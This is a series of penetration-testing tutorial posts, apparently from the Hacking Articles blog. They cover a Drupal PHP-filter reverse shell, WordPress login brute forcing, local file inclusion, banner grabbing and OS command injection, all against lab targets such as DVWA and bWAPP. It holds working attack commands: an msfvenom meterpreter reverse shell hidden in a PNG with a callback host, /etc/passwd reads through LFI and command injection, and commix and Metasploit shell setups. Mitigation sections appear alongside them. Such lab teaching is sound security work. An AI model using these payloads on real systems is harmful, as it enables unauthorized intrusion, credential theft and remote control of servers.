https://www.drupal.org/project/php

To install php module upload the tar file that was downloaded.

So, when the installation is completed, we need to enable to the added module.

Again, move to Manage > Extend >filters and enable the checkbox for PHP filters.

Now use the Pentest monkey PHP script, i.e. “reverse shell backdoor.php” to be injected as basic content. Don’t forget to add a “listening IP & port” to get a reversed connection. Continue to change the “text format to PHP” and enable the publishing checkbox. Keep the netcat listener ON in order to receive the incoming shell.

When everything is set accordingly, click the preview button and you’ll get the reverse connection over the netcat.

Hence, we got the reverse connection of the host machine.

Author: Komal Singh is a Cyber Security Researcher and Technical Content Writer, she is completely enthusiastic pentester and Security Analyst at Ignite Technologies. Contact Here

The post Drupal: Reverseshell appeared first on Hacking Articles.

In this article, you will be learning how to compromise a WordPress website’s credentials using different brute forcing techniques.

Table of Content

Pre-requisites
WPscan
Metasploit
Burp Suite
How to avoid a Brute Force Attack?

Pre-requisites:

Target: WordPress

Attacker: Kali Linux (WPscan)

Burp Suite (Intruder)

WPscan

WPscan is a command-line tool which is used as a black box vulnerability scanner. It is commonly used by security professionals and bloggers to test the security of their website. WPscan comes pre-installed on the most security-based Linux distributions and it is also available as a plug-in.

Here, I am using a WordPress website hosted on localhost as you can see in the image given below

While brute-forcing you can either use your own common username and password lists or the ones provided with Kali Linux. I have used rockyou.txt password file which comes with kali standard installation and contains 14341564 unique passwords.

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

–URL is URL parameter, followed by URL of the wordpress website to be scanned

-U will only bruteforce the supplied usernames, in our case it is users.txt

-P will bruteforce the passwords from the provided list rockyou.txt

The scan duration mainly depends on how large the password dictionary file is and as we are mapping a large number of users with even larger numbers of passwords it could also impact the performance of the website if left running for a long time.

The screen shows the attack as a success with the username as admin and password as flower.

Metasploit

As we know Metasploit comes preinstalled with Kali Linux, so our first step is to get to the Metasploit console and then run WordPress module used below.

This msf module will run a username and password audit. It will first validate usernames and then map passwords with them.

msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100
msf auxiliary(wordpress_login_enum) > set targeturi /wordpress
msf auxiliary(wordpress_login_enum) > set user_file user.txt
msf auxiliary(wordpress_login_enum) > set pass_file pass.txt
msf auxiliary(wordpress_login_enum) > exploit

Yet again successful brute force login with credentials “Admin and flower” can be seen in the following screenshot.

Burp Suite

For this install Burp suite community edition or use the one you get pre-installed in Kali Linux. Fire up Burp Suite and open WordPress login page then turn on intercept tab in Burp Proxy, next supply any username and password of your choice to login into the wordpress website. This will intercept the response of the current request.

Look at the image below and notice the last line of the intercepted message, it shows the captured login credentials as raj:raj which I used to login as username and password respectively. Next, Send the captured message to the intruder by right-clicking the blank message space and choosing to Send to Intruder option or by just pressing ctrl + I. If you are not familiar with burp Intruder working go through this article first ( https://www.hackingarticles.in/beginners-guide-burpsuite-payloads-part-1/ )

Now open the Intruder tab and you can see the base template request that we sent here. Select Positions tab, hereby default multiple positions are selected, these positions are marked using § characters. Anything between two § characters is replaced by a payload. But we don’t need them all right now so click on the clear button at right bottom corner of the editor window.

Next, select the positions as shown in the screenshot and click on add button to the right of the frame. This will configure these two selected positions as payload insertion points. Now to customize the attack select the attack type. As we are having 2 payload positions, I am choosing cluster bomb (This attack type is useful for a brute-force attack as It puts the first payload in the first position and the second payload in the second position. But when it loops through the payload sets, it tries all combinations. For example, if you have 1000 user names and 1000 passwords, this will perform 1000000 requests.)

Now hit up the start attack button.

In payloads tab, click on payload set drop-down, here you can see numbers 1 and 2. Select number 1 for the first payload position. Choose a simple list from payload type, this list lets you configure a simple list of strings that are used as payloads. you can manually add items to the list using the text box and the Add button, or you can paste a list from the clipboard, or load from file.

Similarly select number 2 for another payload position and select runtime file from payload type, this is useful when a very large list of payloads is needed, to avoid holding the entire list in memory. Add the path of any dictionary file having password only. Click on start attack.

It will match the combination of both payloads and would try to login in with username and password as you can see below. By paying attention to the status and length of the payloads you can see login credentials admin and flower are having status as 302 and length as 1203 which is different than all other combinations indicating these are the results we are looking for. Hence username and password are admin and flower respectively

How to avoid a Brute Force attack?

One can certainly avoid these attacks using some precautionary measures as following:

Password Length: An ideal length should be 8-16 characters long for passwords. It’s important to avoid the most common passwords and to change them frequently

Password Complexity: A password should consist of UPPERCASE and lowercase alphabets and should also include

numbers and special characters. Users should choose complex passphrases rather than single words; the complexity of the password delays the cracking process.

Limit Login Attempts: Limit the login attempts on your WordPress admin. For example, after three failed login attempts; it should block that particular IP for a certain period of time to stop it for making further login attempts.

Two Factor Authentication: The next way to be secure from brute-forcing is two-factor authentication or 2FA. This is a process that gives web services secondary access to the account owner in order to verify a login attempt. Generally, this involves a phone number and/or an email address.

Using Captcha: Installing captcha in your WordPress site is fairly easy and they help to prevent bots from executing automated scripts to login into your account.

Install a WordPress Firewall Plugin: Even the unsuccessful brute force attacks can slow down your website or completely crash the server. This is why it’s important to block them and to do that, you’ll need a website firewall solution. A firewall filters out bad traffic and blocks it from accessing your site.

Cloudflare: It is a renowned service to provide a protective shield against brute force attacks

Install and Setup a WordPress Backup Plugin: If everything fails, one must have a backup plan!

There are several great WordPress backup plugins, which allow you to schedule automatic backups.

Disabling Directory Browsing and Installing WordPress Updates regularly can also help to be safe from brute-forcing attacks against a WordPress website.

Thank you!!

Author: Nisha Yadav is trained in Certified Ethical hacking and Bug Bounty Hunter. She is currently working at Ignite Technologies as a Security Analyst. Connect with her here

The post Multiple Ways to Crack WordPress login appeared first on Hacking Articles.

In this deep down online world, dynamic web-applications are the ones that can easily be breached by an attacker due to their loosely written server-side codes and misconfigured system files. Today, we will learn about File Inclusion, which is considered as one of the most critical vulnerability that somewhere allows an attacker to manipulate the target’s web server by including malicious files remotely or even access sensitive files present onto that server.

Table of Content

Introduction
PHP Functions
- Include() function
- Require() function
- Require-once() function
Local File Inclusion
LFI Exploitation
- Basic LFI Attack
- Null byte Attack
- Base64 Attack
- Fuzzing Attack
- LFI Suite
- LFI over File UPload
Mitigation

Introduction

File Inclusion vulnerabilities are commonly found in poorly written PHP web-applications where the input parameters are not properly sanitized or validated. Therefore it becomes easy for an attacker to capture the passing HTTP Requests, manipulates the URL parameter that accepts a filename and include the malicious files in the web-server.

In order to understand the mechanism, let’s take a look at this scenario.

Consider a web-application that accepts a parameter that says “file=hackingarticles.php” via its URL, the server further processes it and displays its content on the application’s screen.

Now the attacker tries to manipulate the filename parameter and calls up a local file or even injects a malicious script or a payload calling it from his own website into that parameter, thus the web-server will process it and executes that particular file which might lead to the following attacks:

Code execution on the Web server
Cross-Site Scripting Attacks (XSS)
Denial of service (DOS)
Data Manipulation Attacks
Sensitive Information Disclosure

The impact of this vulnerability is quite high and has therefore been reported under-

CWE-98: “Improper Control of Filename for Include/Require Statement in PHP Program”
CWE-20: “Improper Input Validation”
CWE-22: “Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)”
CWE-23: “Relative Path Traversal”
CWE-200: “Exposure of Sensitive Information to an Unauthorized Actor”

The File Inclusion attacks are of two types:

Local File Inclusion (LFI)
Remote File Inclusion (RFI)

Before we get into the depth of these file inclusion attacks, let’s have a look at some of the PHP functions.

PHP Include() Function

We can insert the content of one PHP file into another PHP file before the server executes it, with the include() function. The function can be used to create functions, headers, footers or element that will be reused on multiple pages.

This will help the developers to make it easy to change the layout of a complete website with minimal effort i.e. if there is any change required then instead of changing thousands of files just change the included PHP file.

Example 1

Assume we have a standard footer file called “footer.php“, that looks like this

<?php
echo "<p>Copyright &copy; 2010-" . date("Y") ."hackingartices.in</p>";
?>

To include the footer file on our page, we’ll be using the include statement.

<html>
<body>
<h1>Welcome to Hacking Articles</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include 'footer.php';?>
</body>
</html>

The code within the included file (footer.php) is interpreted just as if it had been inserted into the main page.

Example 2

Assume we have a file called “vars.php“, with some variables defined:

?php
$color='red';
$car='BMW';
?>

Test.php

<html>
<body>
<h1>Welcome to my Home Page!!</h1>
<?php
echo "A$color$car";  //Output A
include 'var.php';
echo "A$color$car";  //A red BMW
?>
</body>
</html>

As soon as the fifth line executes in the test.php file, just “A” will be printed out because we haven’t called our var.php script yet. Whereas in the next line, we have used the include function to include the var.php file, as soon as the interpreter reads this line it directly calls our file from the server and executes it.

Therefore the variables “colour” and “car” are now assigned with “red” and “BMW”. As the last line runs, we’ll get the output as “A red BMW”.

PHP Require() Function

Similar to the include() function, the require statement is also used to include a file into the PHP code. However, there is a one big difference between include and require functions. When a file is included with the include statement and PHP cannot find it or load it properly, thus the include() function generates a warning but the script will continue to execute:

Example 3

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

Output: I have a Red BMW

Now if we try to run the same code using the require function, the echo statement will not be executed because the script execution dies as soon as the require statement return a fatal error:

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php require 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

No output result.

PHP Require_once() Function

We can use the Require_once() function to access the data of another page into our page but only once. It works in a similar way as the require() function do. The only difference between require and require_once is that, if it is found that the file has already been included in the page, then the calling script is going to ignore further inclusions.

Example 4

echo.php

<?php
echo "Hello";
?>

Test.php

<?php
require('echo.php');
require_once('echo.php');
?>

Output: “Hello”

Note

allow_url_include is disabled by default. If allow_url_fopen is disabled, allow_url_include is also disabled

You can enable allow_url_include from php.ini by running the following commands :

nano /etc/php/7.2/apache2/php.ini
allow_url_include = On

Local File Inclusion (LFI)

Local file inclusion is the vulnerability in which an attacker tries to trick the web-application by including the files that are already present locally into the server. It arises when a php file contains some php functions such as “include”, “include_once”, “require”, “require_once”.

This vulnerability occurs, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Thus, the local file inclusion has “High Severity with a CVSS Score of 8.1”

Let’s try to exploit this LFI vulnerability through all the different ways we can, I have used two different platforms bWAPP and DVWA which contains the file inclusion vulnerability.

Basic Local file inclusion

We’ll open the target IP in our browser and login inside BWAPP as a bee : bug, further we will set the “choose your bug” option to Remote & Local File Inclusion (RFI/LFI) and hit hack, even for this time we’ll keep our security level to “low”.

Now, we’ll be redirected to the web page which is basically suffering from RFI & LFI Vulnerability. There we will find a comment section to select a language from the given drop-down list, as soon as we click on go button, the selected language file gets included into the URL.

In order to perform the basic LFI attack, we’ll be manipulating the “URL language parameter” with “/etc/passwd” to access the password file present in the local system as:

192.168.0.11/bWAPP/rlfi.php?language=/etc/passwd

So we’ve successfully get into the password file and we are able to read this sensitive information directly from the webpage. Similarly we can even read the contents of the other files using “/etc/shadow” or “/etc/group”

Null byte

In many scenarios, the basic local file inclusion attack might not work, due to the high-security configurations. From the below image you can observe that, I got failed to read the password file when executing the same path in the URL.

So what should we do when we got stuck in some similar situations?

The answer is to go for the Null Byte Attack. Many developers add up a ‘.php’ extension into their codes at the end of the required variable before it gets included.

Therefore the webserver is interpreting /etc/passwd as /etc/passwd.php, thus we are not able to access the file. In order to get rid of this .php we try to terminate the variable using the null byte character (%00) that will force the php server to ignore everything after that, as soon as it is interpreted.

192.168.0.11/bWAPP/rlfi.php?language=/etc/passwd%00

Great, we are back!! We can read the contents of the password file again.

You can even grab the same using burpsuite, by simply capturing the browser’s request in the proxy tab, manipulating its URL with /etc/passwd%00 and forwarding it all to the repeater. Inside repeater, we can do a deep analysis of the sent requests and responses generated through it.

Now we just need to click on the go tab. And on the right side of the window, you can see that the password file is opened as a response.

Base64 encoded

Sometimes the security configuration is much high and we’re unable to view the contents of the included PHP file. Thus we can still exploit the LFI vulnerability by just using the following PHP function.

192.168.0.11/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd

Therefore from the below screenshot you can determine that the contents of the password file is encoded in base64. Copy the whole encoded text and try to decode it with any base64 decoder.

I’ve used the burpsuite decoder in order to decode the above-copied text.

Go to the Decoder option in burpsuite and paste the copied base64 text into the field provided, now on the right-hand side click on decode as and choose Base64 from the options presented.

And here we go, you can see that we have successfully grabbed the password file again.

Fuzzing

Many times it is not possible to check for all these scenarios manually, and even sometimes our included file might not be there in the root directory. Thus in order to deface the website through the LFI vulnerability, we need to traverse back and find the actual path to that included file. This traversing can contain a lot of permutation and combinations, therefore we’ll make a dictionary with all the possible conditions and will simply include it in our attack.

From the below screenshot, you can see that I’ve send the intercepted request to the intruder with a simple right-click in the proxy tab and further selecting the send to intruder option.

Now we need to load our dictionary file into the payload section and set the payload type to Simple list as highlighted in the below image.

So, we are almost done, we just need to set the payload position to our input value parameter and simply fire the “Start Attack” button to launch our fuzzing attack.

From the below image we can see that our attack has been started and there is a fluctuation in the length section. As soon as we find any increment in any of the supplied input condition, we’ll check its response to reading the contents of the included file.

LFI Suite

Sometimes it becomes a bit frustrating while performing the LFI attack using Burp suite, i.e. wait for the incremented length and check for every possible response it shows. In order to make this task somewhat simpler and faster, we’ll be using an amazing automated tool called LFI Suite. This helps us to scan the web site’s URL and if found vulnerable, it displays all the possible results, therefore we can use it to gain the website’s remote shell. You can download this from here.

Firstly we’ll clone the LFI suite and boot it up in our kali machine using the following code:

git clone https://github.com/D35m0nd142/LFISuite.git
cd LFISuite
python lfisuite.py

Choose the 2^nd option as “Scanner” in order to check the possible input parameters.

Now it ask us to “enter the cookies”, I’ve installed the “HTTP Header live” plugin to capture the HTTP passing requests.

From the below image you can see that I’ve copied the captured cookies into the cookies field and disable the Tor proxy. We just need to enter the website’s URL and hit enter.

Now the attack has been started and we can see that there are 40 different parameters through we can exploit the LFI vulnerability into our web-application.

Now it’s time to connect to the victim and deface the website by capturing its remote shell.

Restart the application and this time choose option 1 as “Exploiter”. Enter the required fields with the same cookies that we’ve used in the scanner section and set the Tor proxy to “No”.

As soon as you hit enter, you’ll find a list with multiple ways to attack the webserver.

Select the option 9 as “Auto Hack”.

A new section will pop-up asking for the web site’s URL, here enter the target website and hit enter.

http://192.168.0.11/bWAPP/rlfi.php?language=

Cool!! We’ve successfully captured the victim’s command shell.

LFI over File Upload

As we all are aware with the File Upload vulnerability, that it allows an attacker to upload a file with the malicious code in it, which can be executed on the server. You can learn more about this vulnerability from here.

But what, if the web-server is patched with the file upload vulnerability using high security?

Not a big issue. We just need an unpatched file inclusion vulnerability into that, therefore we can bypass its high security through the file inclusion vulnerability and even get the reverse connection of victim’s server.

Let’s check it out how.

Firstly I’ve downloaded an image raj.png and saved it on my desktop.

Now I’ll open the terminal and type following command to generate a malicious PHP code inside “raj.png” image.

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.9 lport=4444 >> /home/hackingarticles/Desktop/raj.png

Let’s verify whether our injected code is in the image or not.

cat /home/hackingarticles/Desktop/raj.png

At the bottom, you will find that the image is having the PHP code in it. This means that our malicious image is ready, and we are now able to upload it over the web application.

Now explore the target’s IP in browser and login into DVWA with security level high. Choose the vulnerability as a file upload in order to upload the malicious image into the web-applications server.

From the given screenshot, you can see “raj.png” image is successfully uploaded.

Copy the highlighted path where the image is uploaded.

Before executing the image, we’ll boot the Metasploit framework inside the Kali Linux and start-up multi/handler.

msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.9
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

Now we’ll get back to DVWA and set security level low and will turn on the File Inclusion vulnerability. This time we will again manipulate the URL parameter “page=” by pasting the above-copied path of uploaded image.

192.168.0.11/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/raj.png

As soon as the URL loads up into the browser, we will get the reverse connection of the server in our Kali machine.

Mitigations to File Inclusion Attacks

In order to prevent our website from the file inclusion attacks, we need to use the strong input validations i.e. rather allow any file to be included in our web-application we should restrict our input parameter to accept a whitelist of acceptable files and reject all the other inputs that do not strictly conform to specifications.

We can examine this all with the following code snippet.

From the above image you can see that, there is an if condition, which is only allowing the whitelisted files and replaying all the other files with “ERROR: File not Found!”

Exclude the directory separators “/” to prevent our web-application from the directory traversal attack which may further leads to the Local File Inclusion attacks.
Develop or run the code in the most recent version of the PHP server which is available. And even configure the PHP applications so that it does not use register_globals.
On the server-side, configure the php.ini configuration file, by disallowing remote file include of http URI which limits the ability to include the files from remote locations i.e. by changing the configuration file with the following command:

nano /etc/php/7.2/apache2/php.ini
"allow_url_fopen = OFF"
"allow_url_include = OFF"
sudo service apache2 restart

From the below image you can see that we are not able to access the “google.com”, by including it into the web application’s URL. Therefore by disabling both the allow_url_fopen and allow_url_include will stop the attacker to include or access any file through the URL.

Source: https://www.w3schools.com/

https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

https://www.acunetix.com

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Comprehensive Guide to Local File Inclusion (LFI) appeared first on Hacking Articles.

Grabbing a banner is the first and apparently the most important phase in both the offensive and defensive penetration testing environments. In this article, we’ll take a tour to “Banner Grabbing” and learn how the different command-line tools and web interfaces help us to grab the banner of a webserver and its running services.

Table of Content

Introduction
Why Banner Grabbing?
Types of Banner Grabbing
Banner grabbing using Kali Linux
- whatweb
- cURL
- wget
- telnet
- netcat
- Nikto
- Nmap
- Dmitry
Banner grabbing over Burpsuite
Banner grabbing using Netcraft
Banner grabbing through Browser Extensions.
- Wappalyzer
- HTTP Header Live
Banner grabbing using ID Serve

Introduction

“Banner Grabbing” is often termed as “Service Fingerprinting”.

Banner refers to a text message received from the host, usually, it includes information about the open ports and services with their version numbers.

Why Banner Grabbing?

Banner Grabbing allows an attacker to discover network hosts and running services with their versions on the open ports and moreover operating systems so that he can exploit the remote host server.

Banner Disclosure is the most common vulnerability with a “CWE-200 i.e. Exposure of Sensitive Information to an Unauthorized Actor” and a “CVSS Score of 5.0 with the Risk factor as Medium.”

In order to clear the vision, we’ll consider an attack scenario:

As we all know that Microsoft Windows 7 are exploitable by Eternal Blue (CVE-2017-0143) directly with SMBv1 service. In order to enumerate this server, the attacker needs to grabs a service banner which displays whether the SMB service with a vulnerable version is running over it or not. If running, he/she can easily exploit the Microsoft server directly with the Eternal Blue attack. You can learn more about this attack from here.

Types of Banner Grabbing

Active Banner grabbing –In this, the attacker craft or modify his/her own packets and send them to the remote host server and analyses the response data in order to get the operating system information and the services running with their versions.
Passive Banner grabbing –Here the attacker collecting data about our target using publically available information i.e. by analyzing the server either with the help of “Error Messages” or by “Sniffing up the Network Traffic”.

Up till now, you might have gained a lot of information about what is Banner Grabbing and why it is used?

Let’s continue this journey by exploring the most aggressive and direct methods of grabbing a service banner.

Banner grabbing using Kali Linux

Whatweb

“WhatWeb” recognizes websites, which helps us to grab the web-applications banner by disclosing the server information with its version, the IP address, the webpage Title and running operating system.

Type the following command in order to capture the essentials.

whatweb <website URL>

whatweb http://192.168.0.11

cURL

The cURL command includes the functionality for retrieving the banner details from HTTP servers. Just execute the following command, and discover what we grab:

curl –s –I 192.168.0.11

However to fetch a clean result, we are using the -s flag to prevent the progress of the error messages from being displayed, and the -I flag to simply print out the header information of all requested pages.

Wget

We will be using the wget command to capture the HTTP banner of the remote server.

wget –q –S 192.168.0.11

The –q flag will cover-up the progress of our output, while the -S flag will print out the header information of all requested pages.

Telnet

We will be using the Telnet protocol in order to interact with services to grab their banners.

Type following command to grab the FTP banner of the remote server.

telnet 192.168.0.11 21

As a result, it will dumb “220 (vsFTPd 3.0.3)”

Netcat

Netcat is a network utility that will again help us to grab the FTP banner of the remote host server.

nc  192.168.0.11 21

From the above image, you can check that it dumbs up “220 (vsFTPd 3.0.3)”

Nikto

Nikto is an open-source web-application scanner, which we’ll be using to grab a banner of a website running on an Ubuntu server.

Type the following command in order to capture the installed web server – its version, the configuration index files, the HTTP server options and a list of other useful details.

nikto –h http://192.168.0.11

The –h flag is used to specify the host.

Nmap

We’ll use Nmap as a simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within a couple of seconds

Type following command which will grab banner for the SSH service running on port 22 in the remote host.

nmap -sV –p22 192.168.0.11

The -sV flag prints out the version of the running service.

From the above screenshot, you can read the SSH service and its version, fetched by NMAP as “OpenSSH 7.6p1 Ubuntu 4ubuntu0.3”

Dmitry

Dmitry (Deepmagic Information Gathering Tool) has the ability to gather as much information as possible about a host. Base functionality is able to gather possible subdomains, email addresses, uptime information, tcp port scan, whois lookups, and many more.

The –pb flag is used to grab the banner for all the open-ports of the remote host.

Fire the following command to grab the banners of the running services.

dmitry –pb 192.168.0.11

Banner Grabbing over Burpsuite

While performing an attack or a penetration test, we all use burp suite somewhere or the other, but does it help us to identify the target’s web server?

Yes, we can simply grab the server’s information through the response generated by the repeater.

From the below screenshot you can see that I’ve sent the interpreted request into the repeater. As soon as I hit the send button, the response will be executed and on the right-hand side you will get the captured server details as Apache/2.4.29 (Ubuntu)

Banner Grabbing using Netcraft

Netcraft is one of the most operatable information gathering web-interface which help us to check the technologies and the infrastructure of the web-applications.

So I’ll be using a demo website over Netcraft in order to grab some service banners and capture all the possible information.

From the above image, you can see that I have grabbed the Hosting History of testphp.vulnweb.com, which shows up the IP addresses, the operating systems and the webservers along with their last seen.

Banner Grabbing through Browser Extensions

Sometimes it’s a bit time consuming while grabbing banners of multiple web applications. Thus in order to make our work faster, we will be setting up some browser extensions that will help us to capture the server information with their version numbers, the running operating systems and the other frameworks that drive up the web applications.

Wappalyzer

Wappalyzer is a free browser extension available for both Mozilla Firefox and Google Chrome. It helps us to check the technologies of the web-application, majorly the server with its version and the framework running on it. You can add this extension in your browser from here.

From the above image you can see that, we have easily captured “Apache 2.2.0” as the server, “PHP 5.3.10” as the programming language and “Ubuntu and Fedora” as the running operating systems.

HTTP Header Live

This extension gives us the power to capture the ongoing HTTP Requests before they are sent to the server.

Therefore we are going to garb some server banners through this HTTP Header extension. You can add it in your browser from here.

From the below image you can see that, as soon as I capture the HTTP request, I was presented with the target’s information containing the server and the operating system banners i.e. Apache/2.4.29 (Ubuntu)

Banner Grabbing using ID Serve

ID Server is a free and a general-purpose Internet server identification utility which helps us to grab the banner of a remote host. You can download the tool from here.

Just enter the target’s website URL and hit the “Query This Server” button. And there it goes, it dumps everything it could, including the IP addresses, open ports, cookie and the server information.

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Multiple Ways to Banner Grabbing appeared first on Hacking Articles.

Isn’t it great if you get the privilege to run any system commands directly on the target’s server through its hosted web-application? Or you can get the reverse shell with some simple clicks? In this article, we’ll learn about OS Command Injection, in which an attacker is able to trigger some arbitrary system shell commands on the hosted operating system via a vulnerable web-application.

Table of Content

Introduction to Command Injection
How Command Injection Occurs?
Metacharacters
Types of Command Injection
Impact of OS Command Injection
Steps to exploit – OS Command Injection
Manual Exploitation
- Basic OS Command injection
- Bypass a Blacklist implemented
Exploitation through Automated tools
- Burp Suite
  - Manual
  - Fuzzing
- Commix
- Metasploit
Blind OS Command Injection
- Detection
- Exploitation
Mitigation – OS Command Injection

Introduction

Command Injection also referred to as Shell Injection or OS Injection. It arises when an attacker tries to perform system-level commands directly through a vulnerable application in order to retrieve information of the webserver or try to make unauthorized access into the server. Such an attack is possible only when the user-supplied data is not properly validated before passing to the server. This user data could be in any form such as forms, cookies, HTTP headers, etc.

How Command Injection Occurs?

There are many situations when the developers try to include some functionalities into their web application by making the use of the operating system commands. However, if the application passes the user-supplied input directly to the server without any validation, thus the application might become vulnerable to command injection attacks.

In order to clear the vision, let’s consider this scenario:

Think for a web-application providing functionality that any user can ping any particular IP address through his web-interface in order to confirm the host connection, which means that the application is passing the ping command with that particular input IP directly to the server.

Now if an attacker injects an unwanted system command adding up with the basic ping command using some metacharacters. Thus the web-application pass it all to the server directly for execution, allowing the attacker to gain the complete access of the operating system, start or stop a particular service, view or delete any system file and even captures a remote shell.

Metacharacters

Metacharacters are the symbolic operators which are used to separate the actual commands from the unwanted system commands. The semicolon (;) and the ampercent (&) are majorly used as separators that divides the authentic input command and the command that we are trying to inject.

The commonly used metacharacters are:

Types of Command Injection

Error based injection: When an attacker injects a command through an input parameter and the output of that command is displayed on the certain web page, it proves that the application is vulnerable to the command injection. The displayed result might be in the form of an error or the actual outcomes of the command that you tried to run. An attacker then modifies and adds additional commands depending on the shell the webserver and assembles information from the application.

Blind based Injection: The results of the commands that you inject will not be displayed to the attacker and no error messages are returned. The attacker might use another technique to identify whether the command was really executed on the server or not.

The OS Command Injection vulnerability is one of the top 10 OWASP vulnerabilities. Therefore let’s have a look onto its impact.

Impact of OS Command Injection

OS command injection is one of the most powerful vulnerability with “High Severity having a CVSS Score of 8”.

Thus this injection is reported under:

CWE-77: Improper Neutralization of Special Elements used in a Command.
CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Wonder how to exploit this vulnerability? Let’s check out its steps:

Steps to exploit – OS Command Injection

Step 1: Identify the input field

Step 2: Understand the functionality

Step 3: Try the Ping method time delay

Step 4: Use various operators to exploit OS Command Injection

So I guess until now you might be having a clear vision with the concept of OS command injection and its methodology. But before making our hands wet with the attacks let’s clear one more thing i.e.

“Command Injection differs from Code Injection”, in that code injection allows the attacker to add their own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code. Source:

https://www.owasp.org/index.php/Command_Injection

Let’s Start!!

Basic OS Command injection

I’ve opened the target IP in my browser and logged in into DVWA as admin : password, from the DVWA security option I’ve set the security level to low. Now I’ve opted for the Command Injection vulnerability present on the left-hand side of the window.

I’ve been presented with a form which is suffering from OS command injection vulnerability asking to “Enter an IP address:”.

From the below image you can see that, I’ve tried to ping its localhost by typing 127.0.0.1, and therefore I got the output result.

In order to perform the “Basic OS Command Injection attack”, I’ve used the “; (semicolon)” as a metacharacter and entered another arbitary command i.e. “ls”

127.0.0.1;ls

From the below image you can see that the “;” metacharacter did its work, and we are able to list the contents of the directory where the application actually is. Similarly we can run the other system commands such as “;pwd”, “;id” etc.

Bypass a Blacklist implemented

Many times the developers set up a blacklist of the commonly used metacharacters i.e. of “&”, “;”, ”&&”, “||”, “#” and the other ones to protect their web-applications from the command injection vulnerabilities.

Therefore in order to bypass this blacklist, we need to try all the different metacharacters that the developer forgot to add.

I’ve increased up the security level too high and tried up with all the different combinations of metacharacters.

From the above image, you can see that I’ve successfully captured the password file by using the metacharacter “|”

127.0.0.1 |cat /etc/passwd

Command Injection using BurpSuite

Burpsuite is considered as one of the best and the most powerful tool for web-penetration testing. So we’ll try to deface the web-application through it.

I’ve now logged in into bWAPP with bee : bug by running up the target’s IP into the browser, and have even set the security level to medium and “Choose your bug” option to “OS Command Injection”.

Let’s try to enumerate this “DNS lookup” form by clicking on the Lookup button and simply capturing the browser’s request in the proxy tab and sending the same to the Repeater.

Now I just need to manipulate the target by adding up some system commands i.e. “pwd” with the help of metacharacters.

In this I’ve used “|” as the delimiter, you can choose yours.

As soon as I click on the Go tab, the response starts generating and on the right-hand side of the window you can see that I’ve captured the working directory.

Fuzzing

In the last scenario, while bypassing the implemented blacklist, we were lucky that the developer had created and set up the list with the limited combination of metacharacters. But still, it took time, to check for every possible combination of the metacharacters. And therefore it is obvious that this metacharacter would not work with every web-application, thus in order to bypass these differently generated blacklists, we’ll be doing a fuzzing attack.

Let’s check it out how!!

I’ve created a dictionary with all the possible combinations of the metacharacters and now will simply include it into my attack.

Tune in you burp suite and start intercepting the request, as soon as you capture the ongoing request send the same to the intruder by simply doing a right-click on the proxy tab and choose the option to send to intruder.

Now we’ll set up the attack position by simply shifting the current tab to the Positions tab, and selecting the area where we want to make the attack happen with the ADD button.

Time to inject our dictionary, now move to the Payload tab and click on the load button in order to load our dictionary file.

As soon as I fire up the Start Attack button, a new window will pop up with the fuzzing attack.

From the below screenshot, it’s clear that our attack has been started and there is a fluctuation in the length section. I’ve double-clicked on the length field in order to get the highest value first.

From the below image, you can see that as soon as I clicked over the 11^th Request, I was able to detect the ls command running in the response tab.

OS Command Injection using Commix

Sometimes fuzzing consumes a lot of time, and even it becomes somewhat frustrating while performing a command injection attack over it i.e. wait for the incremented length and check for every possible response it drops.

In order to make our attack simpler and faster, we’ll be using a python scripted automated tool “Commix”, which makes it very easy to find the command injection vulnerability and then helps us to exploit it. You can learn more about Commix from here.

So let’s try to drop down the web-application again by getting a commix session in our kali machine.

From the below image you can see that I’ve set the security level too high and opted the “Choose your bug” option to “OS Command Injection”.

Commix works on cookies. Thus in order to get them, I’ll be capturing the browser’s request into my burpsuite, by simply enabling the proxy and the intercept options, further as I hit up the Lookup button, I’ll be presented with the details into the burpsuite’s Proxy tab.

Fire up you Kali Terminal with commix and run the following command with the Referer, Cookie, and target values:

commix --url="http://192.168.0.11/bWAPP/commandi.php" --cookie="security_level=2; PHPSESSID=cc91040cc70b9abdb2fdc637527bf132" --data="target=www.nsa.gov&form=submit"

Type ‘y’ to resume the classic injection point and to the pseudo-terminal shell.

Great!! We’re into our target’s machine.

What if we could convert this commix shell into a meterpreter one?

As soon as we capture the commix session, we’ll try to generate a reverse meterpreter session of the target machine by executing the following commands:

reverse_tcp
set lhost 192.168.0.9
set lport 4444

As we hit enter, it will ask us to choose whether we want a netcat shell or some other (meterpreter) one. Choose option 2 and hit enter again.

Now you’ll be popped up with a new list of sessions asking for which meterpreter session you want as in whether you want it to be PHP, Windows, python etc. As our target server is running over the PHP framework, we will select option 8 i.e. a PHP meterpreter reverse shell.

When everything is done, it will provide us with a resource file with an execution command. Open a new terminal window and type the presented command there, as in our case it generated the following command:

msfconsole -r /usr/share/commix/php_meterpreter.rc

Cool!! It’s great to see that our commix session is now having some new wings.

OS Command Injection using Metasploit

Why drive so long in order to get a meterpreter session, if we can just gain it directly through the Metasploit framework.

Let’s check it out how

Boot the Metasploit framework into your kali terminal by running up the simple command “msfconsole”.

